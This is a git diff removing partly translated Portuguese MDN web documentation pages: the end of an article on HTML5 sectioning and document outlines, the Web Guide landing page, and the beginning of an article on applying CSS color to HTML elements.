-    &lt;h1&gt;Introduction&lt;/h1&gt;
-    &lt;p&gt;In this section, we discuss the lesser known forest elephants.&lt;/p&gt;
-  &lt;/section&gt;
-
-  &lt;section&gt;
-    &lt;h1&gt;Habitat&lt;/h1&gt;
-    &lt;p&gt;Forest elephants do not live in trees but among them.&lt;/p&gt;
-  &lt;/section&gt;
-
-  &lt;aside&gt;
-    &lt;p&gt;advertising block&lt;/p&gt;
-  &lt;/aside&gt;
-
-&lt;/section&gt;
-
-&lt;footer&gt;
-  &lt;p&gt;(c) 2010 The Example company&lt;/p&gt;
-&lt;/footer&gt;</pre>
-
-<p>This leads to the following outline:</p>
-
-<pre>1. Forest elephants
-   1.1 Introduction
-   1.2 Habitat
-</pre>
-
-<h3 id="Definir_cabeçalhos">Definir cabeçalhos</h3>
-
-<p>While the HTML Sectioning elements define the structure of the document, an outline also needs headings to be useful. The basic rule is simple: the first HTML heading element (one of {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) defines the heading of the current section.</p>
-
-<p>The heading elements have a <em>rank</em> given by the number in the element name, where {{HTMLElement("h1")}} has the <em>highest</em> rank, and {{HTMLElement("h6")}} has the <em>lowest</em> rank. Relative ranking matters only within a section; the structure of the sections determines the outline, not the heading rank of the sections. For example, consider this code:</p>
-
-<pre class="brush:xml">&lt;section&gt;
-  &lt;h1&gt;Forest elephants&lt;/h1&gt;
-  &lt;p&gt;In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  &lt;section&gt;
-    &lt;h2&gt;Habitat&lt;/h2&gt;
-    &lt;p&gt;Forest elephants do not live in trees but among them.
-        ...this subsection continues...
-  &lt;/section&gt;
-&lt;/section&gt;
-&lt;section&gt;
-  &lt;h3&gt;Mongolian gerbils&lt;/h3&gt;
-  &lt;p&gt;In this section, we discuss the famous mongolian gerbils.
-     ...this section continues...
-&lt;/section&gt;</pre>
-
-<p>This creates the following outline:</p>
-
-<pre>1. Forest elephants
- 1.1 Habitat
-2. Mongolian gerbils</pre>
-
-<p>Note that the rank of the heading element (in the example {{HTMLElement("h1")}} for the first top-level section, {{HTMLElement("h2")}} for the subsection and {{HTMLElement("h3")}} for the second top-level section) is not important. (Any rank can be used as the heading of an explicitly-defined section, although this practice is not recommended.)</p>
-
-<h3 id="Implicit_sectioning">Implicit sectioning</h3>
-
-<p>Because the HTML5 Sectioning Elements aren't mandatory to define an outline, to keep compatibility with the existing web dominated by HTML4, there is a way to define sections without them. This is called <em>implicit sectioning</em>.</p>
-
-<p>The heading elements ({{HTMLElement("h1")}} to {{HTMLElement("h6")}}) define a new, implicit section when they aren't the first heading of their parent, explicit, sections. The way this implicit section is positioned in the outline is defined by its relative rank with the previous heading in its parent section. If it is of a lower rank than the previous heading, it opens an implicit sub-section of the section. This code:</p>
-
-<pre class="brush:xml">&lt;section&gt;
-  &lt;h1&gt;Forest elephants&lt;/h1&gt;
-  &lt;p&gt;In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  &lt;h3 class="implicit subsection"&gt;Habitat&lt;/h3&gt;
-  &lt;p&gt;Forest elephants do not live in trees but among them.
-    ...this subsection continues...
-&lt;/section&gt;</pre>
-
-<p>leading to the following outline:</p>
-
-<pre>1. Forest elephants
- 1.1 Habitat <em>(implicitly defined by the h3 element)</em>
-</pre>
-
-<p>If it is of the same rank as the previous heading, it closes the previous section (which may have been explicit!) and opens a new implicit one at the same level: </p>
-
-<pre class="brush:xml">&lt;section&gt;
-  &lt;h1&gt;Forest elephants&lt;/h1&gt;
-  &lt;p&gt;In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  &lt;h1 class="implicit section"&gt;Mongolian gerbils&lt;/h1&gt;
-  &lt;p&gt;Mongolian gerbils are cute little mammals.
-    ...this section continues...
-&lt;/section&gt;</pre>
-
-<p>leading to the following outline: </p>
-
-<pre>1. Forest elephants
-2. Mongolian gerbils <em>(implicitly defined by the h1 element, which closed the previous section at the same time)</em>
-</pre>
-
-<p>If it is of a higher rank than the previous heading, it closes the previous section and opens a new implicit one at the higher level:</p>
-
-<pre class="brush:xml">&lt;body&gt;
-  &lt;h1&gt;Mammals&lt;/h1&gt;
-  &lt;h2&gt;Whales&lt;/h2&gt;
-  &lt;p&gt;In this section, we discuss the swimming whales.
-    ...this section continues...
-  &lt;section&gt;
-    &lt;h3&gt;Forest elephants&lt;/h3&gt;
-    &lt;p&gt;In this section, we discuss the lesser known forest elephants.
-      ...this section continues...
-    &lt;h3&gt;Mongolian gerbils&lt;/h3&gt;
-      &lt;p&gt;Hordes of gerbils have spread their range far beyond Mongolia.
-         ...this subsection continues...
-    &lt;h2&gt;Reptiles&lt;/h2&gt;
-      &lt;p&gt;Reptiles are animals with cold blood.
-          ...this section continues...
-  &lt;/section&gt;
-&lt;/body&gt;</pre>
-
-<p>leading to the following outline:</p>
-
-<pre>1. Mammals
- 1.1 Whales <em>(implicitly defined by the h2 element)</em>
- 1.2 Forest elephants <em>(explicitly defined by the section element)</em>
- 1.3 Mongolian gerbils <em>(implicitly defined by the h3 element, which closes the previous section at the same time)</em>
-2. Reptiles <em>(implicitly defined by the h2 element, which closes the previous section at the same time)</em>
-</pre>
-
-<p>This is not the outline that one might expect by quickly glancing at the heading tags. To make your markup human-understandable, it is a good practice to use explicit tags for opening and closing sections, and to match the heading rank to the intended section nesting level. However, this is not required by the HTML5 specification. If you find that browsers are rendering your document outline in unexpected ways, check whether you have sections that are implicitly closed by heading elements.</p>
-
-<p>An exception to the rule of thumb that heading rank should match the section nesting level is for sections that may be reused in multiple documents. For example, a section might be stored in a content-management system and assembled into documents at run time. In this case, a good practice is to start at {{HTMLElement("h1")}} for the top heading level of the reusable section. The nesting level of the reusable section will be determined by the section hierarchy of the document in which it appears. Explicit section tags are still helpful in this case.</p>
-
-<h3 id="Sectioning_roots"><a name="sectioning_root">Sectioning roots</a></h3>
-
-<p> A <a id="sectioning root" name="sectioning root">sectioning root</a> is an HTML element that can have its own outline, but the sections and headings inside it do not contribute to the outline of its ancestor. Beside {{HTMLElement("body")}} which is the logical sectioning root of a document, these are often elements that introduce external content to the page: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} and {{HTMLElement("td")}}.</p>
-
-<p>Example:</p>
-
-<pre class="brush:xml">&lt;section&gt;
-  &lt;h1&gt;Forest elephants&lt;/h1&gt;
-  &lt;section&gt;
-    &lt;h2&gt;Introduction&lt;/h2&gt;
-    &lt;p&gt;In this section, we discuss the lesser known forest elephants&lt;/p&gt;
-  &lt;/section&gt;
-  &lt;section&gt;
-    &lt;h2&gt;Habitat&lt;/h2&gt;
-    &lt;p&gt;Forest elephants do not live in trees but among them. Let's
-       look what scientists are saying in "&lt;cite&gt;The Forest Elephant in Borneo&lt;/cite&gt;":&lt;/p&gt;
-    &lt;blockquote&gt;
-       &lt;h1&gt;Borneo&lt;/h1&gt;
-       &lt;p&gt;The forest element lives in Borneo...&lt;/p&gt;
-    &lt;/blockquote&gt;
-  &lt;/section&gt;
-&lt;/section&gt;
-</pre>
-
-<p>This example results in the following outline:</p>
-
-<pre>1. Forest elephants
- 1.1 Introduction
-   1.2 Habitat</pre>
-
-<p>This outline doesn't contain the internal outline of the {{HTMLElement("blockquote")}} element, which, being an external citation, is a sectioning root and isolates its internal outline.</p>
-
-<h3 id="Sections_outside_the_outline">Sections outside the outline</h3>
-
-<p> HTML5 introduces two new elements that allow defining sections that don't belong to the main outline of a web document:</p>
-
-<ol>
- <li>The HTML Aside Section Element ({{HTMLElement("aside")}}) defines a section that, though related to the main element, doesn't belong to the main flow, like an explanation box or an advertisement. It has its own outline, but doesn't belong to the main one.</li>
- <li>The HTML Navigational Section Element ({{HTMLElement("nav")}}) defines a section that contains navigation links. There can be several of them in a document, for example one with page internal links like a table of contents, and another with site navigational links. These links are not part of the main document flow and outline, and are generally not initially rendered by screen readers and similar assistive technologies.</li>
-</ol>
-
-<h3 id="Cabeçalhos_e_Rodapés">Cabeçalhos e Rodapés</h3>
-
-<p>HTML5 also introduces two new elements that can be used to mark up the header and the footer of a section:</p>
-
-<ol>
- <li>The HTML Header Element ({{HTMLElement("header")}}) defines a page header — typically containing the logo and name of the site and possibly a horizontal menu — or section header, containing perhaps the section's heading, author name, etc. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} can have their own {{HTMLElement("header")}}. Despite its name, it is not necessarily positioned at the beginning of the page or section.</li>
- <li>The HTML Footer Element ({{HTMLElement("footer")}}) defines a page footer — typically containing the copyright and legal notices and sometimes some links — or section footer, containing perhaps the section's publication date, license information, etc. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} can have their own {{HTMLElement("footer")}}. Despite its name, it is not necessarily positioned at the end of the page or section.</li>
-</ol>
-
-<p>These do not create new sections in the outline, rather, they mark up content inside sections of the page.</p>
-
-<h2 id="Addresses_in_sectioning_elements">Addresses in sectioning elements</h2>
-
-<p>The author of a document often wants to publish some contact information, such as the author's name and address. HTML4 allowed this via the {{HTMLElement("address")}} element, which has been extended in HTML5.</p>
-
-<p>A document can be made of different sections from different authors. A section from another author than the one of the main page is defined using the {{HTMLElement("article")}} element. Consequently, the {{HTMLElement("address")}} element is now linked to its nearest {{HTMLElement("body")}} or {{HTMLElement("article")}} ancestor.</p>
-
-<h2 id="Utilizar_elementos_de_HTML5_nos_navegadores_não_HTML5">Utilizar elementos de HTML5 nos navegadores não HTML5</h2>
-
-<p>Sections and headings elements should work in most non-HTML5 browsers. Though unsupported, they don't need a special DOM interface and they only need a specific CSS styling as unknown elements are styled as <code>display:inline</code> by default:</p>
-
-<pre class="brush: css">article, aside, footer, header, hgroup, nav, section {
-  display:block;
-}
-</pre>
-
-<p>Of course the web developer can style them differently, but keep in mind that in a non-HTML5 browser, the default styling is different from what is expected for such elements. Also note that the {{HTMLElement("time")}} element has not been included, because the default styling for it in a non-HTML5 browser is the same as the one in an HTML5-compatible one.</p>
-
-<p>This method has its limitation though, as some browsers do not allow styling of unsupported elements. That is the case of the Internet Explorer (version 8 and earlier), which need a specific script to allow this:</p>
-
-<pre class="brush:xml">&lt;!--[if lt IE 9]&gt;
-  &lt;script&gt;
-    document.createElement("article");
-    document.createElement("aside");
-    document.createElement("footer");
-    document.createElement("header");
-    document.createElement("hgroup");
-    document.createElement("nav");
-    document.createElement("section");
-    document.createElement("time");
-  &lt;/script&gt;
-&lt;![endif]--&gt;
-</pre>
-
-<p>This script means that, in the case of Internet Explorer (8 and earlier), scripting should be enabled in order to display HTML5 sectioning and headings elements properly. If not, they won't be displayed, which may be problematic as these elements are likely defining the structure of the whole page. That's why an explicit {{HTMLElement("noscript")}} element should be added inside the {{HTMLElement("head")}} element for this case:</p>
-
-<pre class="brush:xml">&lt;noscript&gt;
-  &lt;p&gt;&lt;strong&gt;This web page requires JavaScript to be enabled.&lt;/strong&gt;&lt;/p&gt;
-  &lt;p&gt;JavaScript is an object-oriented computer programming language
-    commonly used to create interactive effects within web browsers.&lt;/p&gt;
-  &lt;p&gt;&lt;a href="https://goo.gl/koeeaJ"&gt;How to enable JavaScript?&lt;/a&gt;&lt;/p&gt;
-&lt;/noscript&gt;
-</pre>
-
-<p>This leads to the following code to allow the support of the HTML5 sections and headings elements in non-HTML5 browsers, even for Internet Explorer (8 and older), with a proper fallback for the case where this latter browser is configured not to use scripting:</p>
-
-<pre class="brush:xml">&lt;!--[if lt IE 9]&gt; &lt;script&gt;
-  document.createElement("article");
-    document.createElement("aside");
-    document.createElement("footer");
-    document.createElement("header");
-    document.createElement("hgroup");
-    document.createElement("nav");
-    document.createElement("section");
-    document.createElement("time");   &lt;/script&gt; &lt;![endif]--&gt; &lt;noscript&gt;
-  &lt;p&gt;&lt;strong&gt;This web page requires JavaScript to be enabled.&lt;/strong&gt;&lt;/p&gt;
-  &lt;p&gt;JavaScript is an object-oriented computer programming language
-    commonly used to create interactive effects within web browsers.&lt;/p&gt;
-  &lt;p&gt;&lt;a href="https://goo.gl/koeeaJ"&gt;How to enable JavaScript?&lt;/a&gt;&lt;/p&gt;
-&lt;/noscript&gt; &lt;![endif]--&gt;
-</pre>
-
-<h2 id="Conclusão">Conclusão</h2>
-
-<p>The new semantic elements introduced in HTML5 bring the ability to describe the structure and the outline of a web document in a standard way. They bring a big advantage for people having HTML5 browsers and needing the structure to help them understand the page, for instance people needing the help of some assistive technology. These new semantic elements are simple to use and, with very few burdens, can be made to work also in non-HTML5 browsers. Therefore they should be used without restrictions.</p>
-
-<div>{{HTML5ArticleTOC()}}</div>
diff --git a/files/pt-pt/web/guide/index.html b/files/pt-pt/web/guide/index.html
deleted file mode 100644
index 8ba5341845..0000000000
--- a/files/pt-pt/web/guide/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: Guias do Programador
-slug: Web/Guide
-tags:
- - API
- - Guía
- - Landing
- - Web
-translation_of: Web/Guide
----
-<p>Estes artigos proporcionam informação de como começar, para o ajudar a utilizar as tecnologias da Web específicas e APIs.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt class="landingPageList"><a href="/pt-PT/docs/Learn/HTML">Aprender HTML; Guias e Tutoriais</a></dt>
- <dd class="landingPageList"><strong>Linguagem de Marcacao em Hiper Texto  (HTML)</strong> e a linguaguem padrao de quase todos os navegadores. Maior parte do que voce ve na janela do seu navegador e descrito, fundamentalmente, usando HTML.</dd>
- <dt class="landingPageList"><a href="/pt-PT/docs/Learn/CSS">Aprender a estilizar HTML, utilizando CSS</a></dt>
- <dd class="landingPageList">Folhas de Estilo em Cascata (CSS) e uma linguaguem baseada em folhas de estilos usada para definir a apresentacao do documento escrito com HTML.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/Guide/Audio_and_video_delivery">Apresentacao de videos e audios</a></dt>
- <dd class="landingPageList">Nos conseguimos apresentar videos e audios na web de diversas maneiras, desde ficheiros 'estaticos' a fluxos de adaptacoes em directo. Este artigo e precebido como o ponto inicial para a exploracao de varios mecanismos de apresentacao baseados na comunicao i compatiilidade com os navegadores populares.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/Guide/Audio_and_video_manipulation">Manipulacao de videos e audios</a></dt>
- <dd class="landingPageList">A beleza da web e que voce pode combinar tecnologias para criar novos formularios. Tendo audios e videos nativos no navegador significa que nos podemos usar este fluxo de dados com tecnologias como {{htmelement('canvas')}}, <a href="/pt-PT/docs/Web/WebGL">WebGL</a> ou <a href="/pt-PT/docs/Web/API/Web_Audio_API">API de Áudio da Web</a> para modificar o audio e o video directamente, por exemplo adicionando efeitos como ressonancia/compressao ao audio, ou filtros como escala de cinza/sepia aos videos. Este artigo providencia as referencias para explicar o que voce precisa.</dd>
- <dt class="landingPageList"><a href="/pt-PT/docs/Web/Guide/Eventos" style="">Guia do programador de eventos</a></dt>
- <dd class="landingPageList">Eventos referem se a duas coisas: o design padrao usado para manter a sincronizacao de varios incidentes que ocorrem durante a execucao da pagina web; i a nomenclatura, caracterizacao, i uso de varios i diversos tipos de ocorrencias.</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Web/Guide/AJAX">AJAX</a></dt>
- <dd class="landingPageList">AJAX is a term that defines a group of technologies allowing web applications to make quick, incremental updates to the user interface without reloading the entire browser page. This makes the application faster and more responsive to user actions.</dd>
- <dt class="landingPageList"><a href="/pt-PT/docs/Web/Guide/Gráficos">Gráficos na Web</a></dt>
- <dd class="landingPageList">Modern web sites and applications often need to present graphics of varying sophistication.</dd>
- <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API">Guide to web APIs</a></dt>
- <dd class="landingPageList">A list of all web APIs and what they do.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></dt>
- <dd>JavaScript is the powerful scripting language used to create applications for the Web.</dd>
- <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Localizations_and_character_encodings">Localizations and character encodings</a></dt>
- <dd class="landingPageList">Browsers process text as Unicode internally. However, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. The <a class="external external-icon" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset">HTML specification recommends the use of the UTF-8 encoding</a> (which can represent all of Unicode), and regardless of the encoding used requires Web content to declare that encoding.</dd>
- <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Mobile">Mobile web development</a></dt>
- <dd class="landingPageList">This article provides an overview of some of the main techniques needed to design web sites that work well on mobile devices. If you're looking for information on Mozilla's Firefox OS project, see the <a href="https://developer.mozilla.org/en/Mozilla/Firefox_OS" title="Boot to Gecko">Firefox OS</a> page. Or you might be interested in details about <a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Firefox_for_Android">Firefox para Android</a>.</dd>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/Apps/Progressive#Core_PWA_guides">Progressive web apps</a></dt>
- <dd class="landingPageList">Progressive web apps (PWAs) use modern web APIs along with traditional progressive enhancement strategy to create cross-platform web applications. These apps work everywhere and provide several features that give them the same user experience advantages as native apps. This set of guides tells you all you need to know about PWAs.</dd>
- <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance">Optimization and performance</a></dt>
- <dd class="landingPageList">When building modern web apps and sites, it's important to make your content work quickly and efficiently. This lets it perform effectively for both powerful desktop systems and weaker handheld devices.</dd>
- <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Parsing_and_serializing_XML">Parsing and serializing XML</a></dt>
- <dd class="landingPageList">The web platform provides different methods of parsing and serializing XML, each with its own pros and cons.</dd>
- <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/WOFF">The Web Open Font Format (WOFF)</a></dt>
- <dd class="landingPageList">WOFF (Web Open Font Format) is a font file format that is free for anyone to use on the web.</dd>
- <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Using_FormData_Objects">Using FormData objects</a></dt>
- <dd class="landingPageList">The <a href="https://developer.mozilla.org/en/DOM/XMLHttpRequest/FormData"><code>FormData</code></a> object lets you compile a set of key/value pairs to send using <code>XMLHttpRequest</code>. It's primarily intended for sending form data, but can be used independently from forms in order to transmit keyed data. The transmission is in the same format that the form's <code>submit()</code> method would use to send the data if the form's encoding type were set to "multipart/form-data".</dd>
- <dt class="landingPageList"><a href="/en-US/docs/Glossary">Glossary</a></dt>
- <dd class="landingPageList">Defines numerous technical terms related to the Web and Internet.</dd>
-</dl>
-</div>
-</div>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/Reference" title="/en-US/docs/Web/Reference">Referências de Tecnologia da Web</a></li>
-</ul>
diff --git a/files/pt-pt/web/html/applying_color/index.html b/files/pt-pt/web/html/applying_color/index.html
deleted file mode 100644
index 75c0e0f32b..0000000000
--- a/files/pt-pt/web/html/applying_color/index.html
+++ /dev/null
@@ -1,582 +0,0 @@
----
-title: Aplicar cor aos elementos de HTML utilizando CSS
-slug: Web/HTML/Applying_color
-tags:
- - CSS
- - Cores de CSS
- - Cores de HTML
- - Estilo de HTML
- - Estilos de HTML
- - Guía
- - HTML
- - Principiante
- - cor
-translation_of: Web/HTML/Applying_color
-original_slug: Web/HTML/Aplicar_cor_elementos_HTML_utilizando_CSS
----
-<div>{{HTMLRef}}</div>
-
-<p>A utilização de cor é uma forma fundamental da expressão humana. Children experiment with color before they even have the manual dexterity to draw. Maybe that's why color is one of the first things people often want to experiment with when learning to develop web sites. <span class="seoSummary">With <a href="/en-US/docs/Web/CSS">CSS</a>, there lots of ways to add color to your <a href="/en-US/docs/Web/HTML">HTML</a> <a href="/en-US/docs/Web/HTML/Element">elements</a> to create just the look you want. This article is a primer introducing each of the ways CSS color can be used in HTML.</span></p>
-
-<p>Fortunately, adding color to your HTML is actually really easy to do, and you can add color to nearly anything.</p>
-
-<p>We're going to touch on most of what you'll need to know when using color, including a {{anch("Things that can have color", "list of what you can color and what CSS properties are involved")}}, {{anch("How to describe a color", "how you describe colors")}}, and how to actually {{anch("Using color", "use colors both in stylesheets and in scripts")}}. We'll also take a look at how to {{anch("Letting the user picka color", "let the user pick a color")}}.</p>
-
-<p>Then we'll wrap things up with a brief discussion of how to {{anch("Using color wisely", "use color wisely")}}: how to select appropriate colors, keeping in mind the needs of people with differing visual capabilities.</p>
-
-<h2 id="Coisas_que_podem_ter_cor">Coisas que podem ter cor</h2>
-
-<p>At the element level, everything in HTML can have color applied to it. Instead, let's look at things in terms of the kinds of things that are drawn in the elements, such as text and borders and so forth. For each, we'll see a list of the CSS properties that apply color to them.</p>
-
-<p>At a fundamental level, the {{cssxref("color")}} property defines the foreground color of an HTML element's content and the {{cssxref("background-color")}} property defines the element's background color. These can be used on just about any element.</p>
-
-<h3 id="Texto">Texto</h3>
-
-<p>Whenever an element is rendered, these properties are used to determine the color of the text, its background, and any decorations on the text.</p>
-
-<dl>
- <dt>{{cssxref("color")}}</dt>
- <dd>The color to use when drawing the text and any <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration">text decorations</a> (such as the addition of under- or overlines, strike-through lines, and so forth.</dd>
- <dt>{{cssxref("background-color")}}</dt>
- <dd>The text's background color.</dd>
- <dt>{{cssxref("text-shadow")}}</dt>
- <dd>Configures a shadow effect to apply to text. Among the options for the shadow is the shadow's base color (which is then blurred and blended with the background based on the other parameters). See {{SectionOnPage("/en-US/docs/Learn/CSS/Styling_text/Fundamentals", "Text drop shadows")}} to learn more.</dd>
- <dt>{{cssxref("text-decoration-color")}}</dt>
- <dd>By default, text decorations (such as underlines, strikethroughs, etc) use the <code>color</code> property as their colors. However, you can override that behavior and use a different color for them with the <code>text-decoration-color</code> property.</dd>
- <dt>{{cssxref("text-emphasis-color")}}</dt>
- <dd>The color to use when drawing emphasis symbols adjacent to each character in the text. This is used primarily when drawing text for East Asian languages.</dd>
- <dt>{{cssxref("caret-color")}}</dt>
- <dd>The color to use when drawing the {{Glossary("caret")}} (sometimes referred to as the text input cursor) within the element. This is only useful in elements that are editable, such as {{HTMLElement("input")}} and {{HTMLElement("textarea")}} or elements whose HTML {{htmlattrxref("contenteditable")}} attribute is set.</dd>
-</dl>
-
-<h3 id="Caixas">Caixas</h3>
-
-<p>Every element is a box with some sort of content, and has a background and a border in addition to whatever contents the box may have.</p>
-
-<dl>
- <dt>{{anch("Borders")}}</dt>
- <dd>See the section {{anch("Borders")}} for a list of the CSS properties you can use to set the colors of a box's borders.</dd>
- <dt>{{cssxref("background-color")}}</dt>
- <dd>The background color to use in areas of the element that have no foreground content.</dd>
- <dt>{{cssxref("column-rule-color")}}</dt>
- <dd>The color to use when drawing the line separating columns of text.</dd>
- <dt>{{cssxref("outline-color")}}</dt>
- <dd>The color to use when drawing an outline around the outside of the element. This outline is different from the border in that it doesn't get space set aside for it in the document (so it may overlap other content). It's generally used as a focus indicator, to show which element will receive input events.</dd>
-</dl>
-
-<h3 id="Contornos">Contornos</h3>
-
-<p>Any element can have a <a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">border</a> drawn around it. A basic element border is a line drawn around the edges of the element's content. See {{SectionOnPage("/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model", "Box properties")}} to learn about the relationship between elements and their borders, and the article <a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Styling borders using CSS</a> to learn more about applying styles to borders.</p>
-
-<p>You can use the {{cssxref("border")}} shorthand property, which lets you configure everything about the border in one shot (including non-color features of borders, such as its <a href="/en-US/docs/Web/CSS/border-width">width</a>, <a href="/en-US/docs/Web/CSS/border-style">style</a> (solid, dashed, etc.), and so forth.</p>
-
-<dl>
- <dt>{{cssxref("border-color")}}</dt>
- <dd>Specifies a single color to use for every side of the element's border.</dd>
- <dt>{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}</dt>
- <dd>Lets you set the color of the corresponding side of the element's border.</dd>
- <dt>{{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}</dt>
- <dd>With these, you can set the color used to draw the borders which are closest to the start and end of the block the border surrounds. In a left-to-right writing mode (such as the way English is written), the block start border is the top edge and the block end is the bottom. This differs from the inline start and end, which are the left and right edges (corresponding to where each line of text in the box begins and ends).</dd>
- <dt>{{cssxref("border-inline-start-color")}} and {{cssxref("border-inline-end-color")}}</dt>
- <dd>These let you color the edges of the border closest to to the beginning and the end of the start of lines of text within the box. Which side this is will vary depending on the {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} properties, which are typically (but not always) used to adjust text directionality based on the language being displayed. For example, if the box's text is being rendered right-to-left, then the <code>border-inline-start-color</code> is applied to the right side of the border.</dd>
-</dl>
-
-<h3 id="Outros_modos_para_utilizar_a_cor">Outros modos para utilizar a cor</h3>
-
-<p>CSS isn't the only web technology that supports color. There are graphics technologies that are available on the web which also support color.</p>
-
-<dl>
- <dt>The HTML <a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a></dt>
- <dd>Lets you draw 2D bitmapped graphics in a {{HTMLElement("canvas")}} element. See our <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a> to learn more.</dd>
- <dt><a href="/en-US/docs/Web/SVG">SVG</a> (Scalable Vector Graphics)</dt>
- <dd>Lets you draw images using commands that draw specific shapes, patterns, and lines to produce an image. SVG commands are formatted as XML, and can be embedded directly into a web page or can be placed in he page using the {{HTMLElement("img")}} element, just like any other type of image.</dd>
- <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
- <dd>The Web Graphics Library is an OpenGL ES-based API for drawing high-performance 2D and 3D graphics on the Web. See <a href="/en-US/docs/Learn/WebGL">Learn WebGL for 2D and 3D</a> graphics to find out more.</dd>
-</dl>
-
-<h2 id="Como_descrever_uma_cor">Como descrever uma cor</h2>
-
-<p>In order to represent a color in CSS, you have to find a way to translate the analog concept of "color" into a digital form that a computer can use. This is typically done by breaking down the color into components, such as how much of each of a set of primary colors to mix together, or how bright to make the color. As such, there are several ways you can describe color in CSS.</p>
-
-<p>For more detailed discussion of each of the color value types, see the reference for the CSS {{cssxref("&lt;color&gt;")}} unit.</p>
-
-<h3 id="Palavras-chave">Palavras-chave</h3>
-
-<p>A set of standard color names have been defined, letting you use these keywords instead of numeric representations of colors if you choose to do so and there's a keyword representing the exact color you want to use. Color keywords include the standard primary and secondary colors (such as <code>red</code>, <code>blue</code>, or <code>orange</code>), shades of gray (from <code>black</code> to <code>white</code>, including colors like <code>darkgray</code> and <code>lightgrey</code>), and a variety of other blended colors including <code>lightseagreen</code>, <code>cornflowerblue</code>, and <code>rebeccapurple</code>.</p>
-
-<p>See {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} for a list of all available color keywords.</p>
-
-<h3 id="Valores_RGB">Valores RGB</h3>
-
-<p>There are three ways to represent an RGB color in CSS.</p>
-
-<h4 id="Hexadecimal_string_notation">Hexadecimal string notation</h4>
-
-<p>Hexadecimal string notation represents a color using hexadecimal digits to represent each of the color components (red, green, and blue). It may also include a fourth compoment: the alpha channel (or opacity). Each color component can be represented as a number between 0 and 255 (0x00 and 0xFF) or, optionally, as a number between 0 and 15 (0x0 and 0xF). All components <em>must</em> be specified using the same number of digits. If you use the single-digit notation, the final color is computed by using each component's digit twice; that is, <code>"#D"</code> becomes <code>"#DD"</code> when drawing.</p>
-
-<p>A color in hexadecimal string notation always begins with the character <code>"#"</code>. After that come the hexadecimal digits of the color code. The string is case-insensitive.</p>
-
-<dl>
- <dt><code>"#rrggbb"</code></dt>
- <dd>Specifies a fully-opaque color whose red component is the hexadecimal number <code>0xrr</code>, green component is <code>0xgg</code>, and blue component is <code>0xbb</code>.</dd>
- <dt><code>"#rrggbbaa"</code></dt>
- <dd>Specifies a color whose red component is the hexadecimal number <code>0xrr</code>, green component is <code>0xgg</code>, and blue component is <code>0xbb</code>. The alpha channel is specified by <code>0xaa</code>; the lower this value is, the more translucent the color becomes.</dd>
- <dt><code>"#rgb"</code></dt>
- <dd>Specifies a color whose red component is the hexadecimal number <code>0xrr</code>, green component is <code>0xgg</code>, and blue component is <code>0xbb</code>.</dd>
- <dt><code>"#rgba"</code></dt>
- <dd>Specifies a color whose red component is the hexadecimal number <code>0xrr</code>, green component is <code>0xgg</code>, and blue component is <code>0xbb</code>. The alpha channel is specified by <code>0xaa</code>; the lower this value is, the more translucent the color becomes.</dd>
-</dl>
-
-<p>As an example, you can represent the opaque color bright blue as <code>"#0000ff"</code> or <code>"#00f"</code>. To make it 25% opaque, you can use <code>"#0000ff44"</code> or <code>"#00f4"</code>.</p>
-
-<h4 id="RGB_functional_notation">RGB functional notation</h4>
-
-<p>RGB (Red/Green/Blue) functional notation, like hexadecimal string notation, represents colors using their red, green, and blue components (as well as, optionally, an alpha channel component for opacity). However, instead of using a string, the color is defined using the CSS function {{cssxref("rgb()")}}. This function accepts as its input parameters the values of the red, green, and blue components and an optional fourth parameter, the value for the alpha channel.</p>
-
-<p>Legal values for each of these parameters are:</p>
-
-<dl>
- <dt><code>red</code>, <code>green</code>, and <code>blue</code></dt>
- <dd>Each must be an {{cssxref("&lt;integer&gt;")}} value between 0 and 255 (inclusive), or a {{cssxref("&lt;percentage&gt;")}} from 0% to 100%.</dd>
